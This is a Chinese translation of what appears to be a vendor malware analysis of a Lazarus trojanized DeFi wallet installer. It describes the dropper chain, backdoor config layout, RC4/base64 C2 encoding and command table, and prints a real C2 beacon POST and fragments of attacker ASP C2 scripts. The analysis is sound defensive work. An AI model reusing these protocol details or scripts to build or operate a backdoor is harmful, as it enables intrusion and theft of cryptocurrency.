用于传递恶意软件的 Lazarus 木马化 DeFi 应用程序
导语:对于 Lazarus 威胁者来说,经济利益是主要动机之一,特别强调加密货币业务。
对于 Lazarus 威胁者来说,经济利益是主要动机之一,特别强调加密货币业务。随着加密货币价格的飙升,以及不可替代的代币(NFT)和去中心化金融(DeFi)业务的普及,Lazarus 集团针对金融行业的目标也在不断变化。
我们最近发现了一个木马化的 DeFi 应用程序,该应用程序于 2021 年 11 月编译。该应用程序包含一个名为 DeFi Wallet 的合法程序,该程序可以保存和管理加密货币钱包,但在执行时还会植入恶意文件。该恶意软件是一个功能齐全的后门,包含足够的功能来控制受感染的受害者。在研究了这个后门的功能后,我们发现与 Lazarus 小组使用的其他工具有许多重叠之处。
恶意软件运营商专门使用位于韩国的受感染 Web 服务器进行此次攻击。为了接管服务器,我们与KrCERT密切合作,并且由于这项工作,我们有机会调查 Lazarus 组 C2 服务器。威胁参与者配置了这个基础设施,服务器设置为多个阶段。第一阶段是后门的来源,而第二阶段服务器的目标是与植入物进行通信。这是 Lazarus 基础设施中使用的常见方案。
背景
2021 年 12 月中旬,我们注意到一个可疑文件上传到 VirusTotal。乍一看,它看起来像是一个与去中心化金融(DeFi)相关的合法应用;然而,仔细观察,我们发现它启动了一个感染计划。执行时,该应用程序会删除恶意文件和合法应用程序的安装程序,并使用创建的木马化安装程序路径启动恶意软件。然后,生成的恶意软件会用木马应用程序覆盖合法应用程序。通过这个过程,特洛伊木马应用程序会从磁盘中删除,从而覆盖其踪迹。
感染时间表
初始感染
虽然尚不清楚威胁行为者如何诱骗受害者执行木马应用程序 ( 0b9f4612cdfe763b3d8c8a956157474a ),但我们怀疑他们发送了鱼叉式网络钓鱼电子邮件或通过社交媒体联系了受害者。迄今为止未知的感染过程始于特洛伊木马应用程序。这个安装包伪装成一个 DeFi 钱包程序,其中包含一个用安装程序重新打包的合法二进制文件。
执行后,它会获取下一阶段的恶意软件路径(C:\ProgramData\Microsoft\GoogleChrome.exe)并使用一个字节的 XOR(密钥:0x5D)对其进行解密。在创建下一个恶意软件阶段的过程中,安装程序将包括“MZ”标头在内的前 8 个字节写入文件 GoogleChrome.exe,并从木马应用程序的数据部分推送剩余的 71,164 个字节。接下来,恶意软件从其主体加载资源 CITRIX_MEETINGS 并将其保存到路径 C:\ProgramData\Microsoft\CM202025.exe。生成的文件是合法的 DeFi 钱包应用程序。最终,它以文件名作为参数执行先前创建的恶意软件:
C:\ProgramData\Microsoft\GoogleChrome.exe “[当前文件名]”
恶意软件创建图
后门创建
上述木马化应用程序生成的恶意软件(d65509f10b432f9bbeacfc39a3506e23)伪装成谷歌Chrome浏览器的良性实例。启动后,恶意软件会检查是否提供了一个参数,然后尝试将合法应用程序“C:\ProgramData\Microsoft\CM202025.exe”复制到作为命令行参数给出的路径,这意味着覆盖原始木马化安装程序,几乎可以肯定是为了掩盖其先前的存在。接下来,恶意软件执行合法文件,通过显示其良性安装过程来欺骗受害者。当用户执行新安装的程序时,会显示使用公开源代码[1]构建的 DeFi 钱包软件。
被操纵的应用程序的屏幕截图
接下来,恶意软件开始初始化配置信息。该配置显示了下表所示的结构,由标志、C2 服务器地址、受害者识别值和时间值组成。正如结构所暗示的那样,该恶意软件最多可以保存五个 C2 地址,但在这种情况下只包含三个 C2 服务器。
抵消 | 长度(字节) | 描述 |
0x00 | 4 | 启动 C2 操作的标志 |
0x04 | 4 | 随机值选择 C2 服务器 |
0x08 | 4 | 受害者标识符的随机值 |
0x0C | 0x208 | C2服务器地址 |
0x214 | 0x208 | C2服务器地址 |
0x41C | 0x208 | C2服务器地址 |
0x624 | 0x208 | C2服务器地址 |
0x82C | 0x208 | C2服务器地址 |
0xA34 | 0x464 | 系统信息缓冲区 |
0xE98 | 0x400 | 完整的 cmd.exe 路径 |
0x1298 | 0x400 | 临时文件夹路径 |
0x1698 | 8 | 开始后门操作的时间 |
0x16A0 | 4 | 时间间隔 |
0x16A4 | 4 | 用于收集逻辑驱动器的标志 |
0x16A8 | 8 | 用于枚举会话信息的标志 |
0x16B0 | 8 | 收集逻辑驱动器和会话信息的时间值 |
恶意软件随机选择一个 C2 服务器地址并向其发送信标信号。这个信号是一个没有加密的硬编码'0x60D49D94' DWORD;C2返回的响应数据携带相同的值。如果收到来自 C2 服务器的预期值,恶意软件就会开始其后门操作。
在与 C2 进一步通信后,恶意软件通过预定义的方法对数据进行加密。加密是通过 RC4 和硬编码密钥 0xD5A3 完成的,然后另外使用 base64 进行编码。
该恶意软件生成带有硬编码名称的 POST 参数。请求类型 (msgID)、受害者标识值和随机生成的值合并到“jsessid”参数中。它还使用 'cookie' 参数来存储四个随机生成的四字节值。这些值再次使用 RC4 加密并另外进行 base64 编码。根据我们对 C2 脚本的调查,我们观察到该恶意软件不仅使用名为“jsessid”的参数,还使用了“jcookie”。
'jsessid' 参数的结构
以下 HTTP 请求显示恶意软件尝试使用请求类型“60d49d98”和随机生成的 cookie 值连接到 C2。
POST /include/inc.asp HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3) Host: emsystec.com Content-Length: 80 Cache-Control: no-cache jsessid=60d49d980163be8f00019f91&cookie=29f23f917ab01aa8lJ3UYA==2517757b7dfb47f1
根据 C2 的响应,恶意软件执行其指示的后门任务。它具有收集系统信息和控制受害机器的各种功能。
命令 | 描述 |
0x60D49D97 | 使用当前时间间隔(默认为 10)值设置时间配置 |
0x60D49D9F | 使用来自 C2 服务器的交付数据设置时间配置 |
0x60D49DA0 | 收集系统信息,例如 IP 地址、计算机名称、操作系统版本、CPU 架构 |
0x60D49DA1 | 收集驱动器信息,包括类型和可用大小 |
0x60D49DA2 | 枚举文件(带有文件名、大小、时间) |
0x60D49DA3 | 枚举进程 |
0x60D49DA4 | 终止进程 |
0x60D49DA5 | 更改工作目录 |
0x60D49DA6 | 连接到给定的 IP 地址 |
0x60D49DA7 | 文件时间戳 |
0x60D49DA8 | 执行 Windows 命令 |
0x60D49DA9 | 安全删除文件 |
0x60D49DAA | 使用 CreateProcessW API 生成进程 |
0x60D49DAB | 使用 CreateProcessAsUserW API 生成进程 |
0x60D49DAC | 具有高完整性级别的生成过程 |
0x60D49DAD | 从 C2 服务器下载文件并保存到给定的文件路径 |
0x60D49DAE | 发送文件创建时间和内容 |
0x60D49DAF | 将文件添加到 .cab 文件并将其发送到 C2 服务器 |
0x60D49DB0 | 收集给定路径的文件列表 |
0x60D49DB1 | 将配置发送到 C2 服务器 |
0x60D49DB2 | 从 C2 服务器接收新配置 |
0x60D49DB3 | 将配置设置为当前时间 |
0x60D49DB4 | 休眠 0.1 秒并继续 |
基础设施
Lazarus 在此次活动中仅使用了位于韩国的受感染 Web 服务器。由于与KrCERT密切合作以消除其中的一些,我们有机会从其中一台受感染的服务器上查看相应的 C2 脚本。本节中描述的脚本是在以下路径中发现的:
http://bn-cosmo[.]com/customer/board_replay[.]asp
该脚本是一个 VBScript.Encode ASP 文件,Lazarus 小组在其 C2 脚本中通常使用该文件。解码后,它将字符串“60d49d95”显示为错误响应代码,而字符串“60d49d94”用作成功消息。此外,连接历史保存在文件“stlogo.jpg ”中,下一阶段的C2地址存储在位于同一文件夹中的文件“globals.jpg ”中。
C2脚本的配置
此脚本检查在 'jcookie' 参数中传递的值,如果它超过 24 个字符,它会将前八个字符提取为 msgID 。根据 msgID 值,它调用不同的函数。后门下发的后门命令和命令执行结果存储到全局变量中。我们之前已经在 Bookcode [2]集群中看到过这个方案。此脚本使用以下变量作为标志和缓冲区在后门和第二阶段 C2 服务器之间传递数据和命令:
· lFlag:表示有数据要传递给后门的标志
· lBuffer:缓冲区,用于存储稍后发送到后门的数据
· tFlag:表示后门有响应的标志
· tBuffer:用于存储从后门传入的数据的缓冲区
归因
我们坚信 Lazarus 组织与该恶意软件有关,因为我们在 CookieTime 集群中发现了类似的恶意软件。JPCERT 称为LCPDot的 CookieTime 集群是一个恶意软件集群,直到最近才被 Lazarus 组织大量使用。我们已经看到 Lazarus 集团使用带有工作机会诱饵的 CookieTime 集群瞄准国防工业。我们已经向我们的威胁情报服务客户发布了有关此集群的几份报告,并且我们发现了一个木马化 Citrix 应用程序 ( 5b831eaed711d5c4bc19d7e75fcaf46e) 与 CookieTime 恶意软件具有相同的代码签名。最新调查中发现的后门与之前发现的木马应用程序几乎完全相同。除其他外,它们共享相同的 C2 通信方法、后门功能、随机数生成例程以及加密通信数据的相同方法。此外, Ahnlab 在一篇讨论与 CookieTime(又名 LCPDot)恶意软件的连接的文章中提到了该恶意软件。
旧 CookieTime 恶意软件的相同后门开关
反过来,我们发现 CookieTime 集群与 Manuscrypt 和 ThreatNeedle 集群有联系,这些集群也属于 Lazarus 组。这不仅适用于后门本身,也适用于 C2 脚本,这些脚本显示出与 ThreatNeedle 集群的多个重叠部分。我们发现了几乎所有的函数和变量名称,这意味着运营商回收了代码库并为恶意软件生成了相应的 C2 脚本。
来自roit.co[.]kr/xyz/adminer/edit_fail_decoded.asp的 ThreatNeedle C2 脚本 | 本案例的C2脚本 |
123456789101112functIon getIpAddress() On ErroR resume next Dim ip ip=Request.SErVervariables("HTTP_CLIENT_IP") If ip=""THen Ip=ReQUest.ServervaRiAbLes("HTTP_X_FORWARDED_FOR") If ip=""ThEn ip=request.ServerVaRiables("REMOTE_ADDR") End If End if GEtIpAdDress=ip End FuNction | 123456789101112fUnctioN GetIpAddress() ON Error Resume Next Dim iP ip=ReqUest.ServerVaRiables("HTTP_CLIENT_IP") If ip=""THEn iP=Request.SErverVariaBleS("HTTP_X_FORWARDED_FOR") If ip=""then ip=reQuest.ServErVariables("REMOTE_ADDR") EnD IF EnD If GEtipAddreSs=ip End FUnction |
获取客户端 IP 地址的几乎相同的脚本
ThreatNeedle C2 脚本来自: edujikim[.]com/pay_sample/INIstart.asp | 本案例的C2脚本 |
12345678910111213Sub writeDataToFile(strFileName, byData) Dim objFSO, objFile, strFilePath Const ForAppending = 8 strFilePath = Server.MapPath(".") & "\" & strFileName Set objFSO = CreateObject("Scripting.FileSystemObject") Set objFile = objFSO.OpenTextFile(strFilePath, ForAppending, True) objFile.Write byData objFile.Close End Sub | 12345678910Sub WritedatA(filepath,byData) dim objFSO,oBJFile ConSt ForAppEnDing=8 Set objFsO=CreateObject("Scripting.FileSystemObject") SeT objFIle=objFso.OpENTextFile(filepaTh,FoRAppending,True) objFilE.Write ByDatA objFIle.CLose EnD Sub |
将数据保存到文件的类似脚本
结论
在之前的一项调查中,我们发现也与 Lazarus 有关联的BlueNoroff组织破坏了另一个名为 MetaMask 的 DeFi 钱包程序。正如我们在最新案例中看到的那样,Lazarus 和 BlueNoroff 团体试图在不引起人们注意的情况下传播他们的恶意软件,并且已经发展出复杂的方法来引诱他们的受害者。加密货币和基于区块链的行业持续增长并吸引了大量投资。出于这个原因,我们坚信 Lazarus 对该行业作为主要财务收益来源的兴趣不会很快减弱。
发表评论